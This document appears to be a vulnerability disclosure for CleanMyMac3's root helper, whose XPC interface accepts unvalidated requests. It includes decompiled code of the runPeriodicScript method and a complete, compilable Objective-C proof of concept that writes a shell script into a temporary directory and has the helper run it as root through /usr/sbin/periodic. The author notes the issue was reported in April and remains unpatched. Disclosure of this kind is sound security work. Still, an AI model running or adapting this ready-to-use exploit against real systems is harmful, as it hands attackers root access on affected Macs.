CleanMyMac3 suffers from a local privilege escalation vulnerability.
752b3e6262d71a2ee1685e5a4c8bc7d4
CleanMyMac3 installs a rooted helper *com.macpaw.CleanMyMac3.Agent*, and
its XPC interface does not validate anything. In CMPrivilegedOperationprotocol,
there are actually more than one way to execute privileged code.
The most straight forward one is to use periodic:
void __cdecl -[CMPriviligedOperations
runPeriodicScript:withReply:](CMPriviligedOperations *self, SEL a2, id
a3, id a4)
{
id v4; // rbx
__int64 v5; // r14
__int64 v6; // rdx
__int64 v7; // r12
void *v8; // rax
__int64 v9; // rbx
__int64 v10; // [rsp+8h] [rbp-38h]
v4 = a4;
v5 = objc_retain(a3, a2, a3);
v7 = objc_retain(v4, a2, v6);
v10 = v5;
v8 = objc_msgSend(&OBJC_CLASS___NSArray, "arrayWithObjects:count:",
&v10, 1LL);
v9 = objc_retainAutoreleasedReturnValue(v8);
+[CMTaskRunner launchTaskAndGetTermStatusWithCmd:arguments:](
&OBJC_CLASS___CMTaskRunner,
"launchTaskAndGetTermStatusWithCmd:arguments:",
CFSTR("/usr/sbin/periodic"),
v9);
objc_release(v5);
objc_release(v9);
if ( v7 )
(*(void (__fastcall **)(__int64, signed __int64, _QWORD))(v7 +
16))(v7, 1LL, 0LL);
objc_release(v7);
}
Simply give periodic a directory, it will execute every shell scripts
inside.
Here's a PoC:
// clang messupmymac.mm -framework Foundation -o messup && ./messup
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
@protocol CMPrivilegedOperation <NSObject>
- (void)sizeOfItemAtPath:(NSString *)arg1 reply:(void (^)(long long,
NSError *))arg2;
- (void)removeDiagnosticLogsWithReply:(void (^)(NSString *, long long,
NSString *, NSError *))arg1;
- (void)flushDNSWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)removeLibraryFromLauchdConf:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeGlobalLoginItemForAppWithPath:(NSString *)arg1
withReply:(void (^)(BOOL, NSError *))arg2;
- (void)startSpotlightReindexWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)runPeriodicScript:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)repairPermissionsWithReply:(void (^)(BOOL, int, NSString *))arg1;
- (void)stopStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)startStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)removeSMLoginItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)disableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)enableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)slimBinaryWithPath:(NSString *)arg1 archs:(NSArray *)arg2
withReply:(void (^)(BOOL, NSError *))arg3;
- (void)removeASLWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)removeKextAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)removePackageWithID:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)truncateFileAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)moveToTrashItemAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)securelyRemoveItemAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeItemAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)moveItemAtPath:(NSString *)arg1 toPath:(NSString *)arg2
withReply:(void (^)(BOOL, NSError *))arg3;
- (void)echo:(NSString *)arg1 withReply:(void (^)(NSString *, NSError *))arg2;
- (void)pleaseTerminate;
@end
int main(int argc, const char *argv[]) {
// write payload script
NSError *err;
NSString *identifier = [[NSProcessInfo processInfo] globallyUniqueString];
NSString *tmp = [NSTemporaryDirectory()
stringByAppendingPathComponent:identifier];
NSFileManager *fileManager = [NSFileManager defaultManager];
[fileManager createDirectoryAtPath:tmp
withIntermediateDirectories:YES attributes:nil error:&err];
if (err) {
NSLog(@"failed to create directory %@\nreason: %@", tmp, err);
exit(-1);
}
NSString *executable = [tmp stringByAppendingPathComponent:@"payload.sh"];
NSURL *url = [NSURL fileURLWithPath:executable isDirectory:NO];
[@"id > /hello.txt" writeToURL:url
atomically:NO
encoding:NSStringEncodingConversionAllowLossy
error:&err];
if (err) {
NSLog(@"failed to write to %@\nreason: %@", url, err);
exit(-1);
}
[fileManager setAttributes:@{ NSFilePosixPermissions : @0777 }
ofItemAtPath:executable
error:&err];
if (err) {
NSLog(@"failed to set executable\nreason: %@", err);
exit(-1);
}
// run
NSXPCConnection *connection = [[NSXPCConnection alloc]
initWithMachServiceName:@"com.macpaw.CleanMyMac3.Agent"
options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(CMPrivilegedOperation)];
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
[connection resume];
[connection.remoteObjectProxy runPeriodicScript:tmp
withReply:^(BOOL status, NSError *err) {
if (err)
NSLog(@"failed: %@", err);
else
NSLog(@"OK");
dispatch_semaphore_signal(semaphore);
}];
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
NSLog(@"done");
return 0;
}
I reported this issue in April, but they havenat release any patch yet.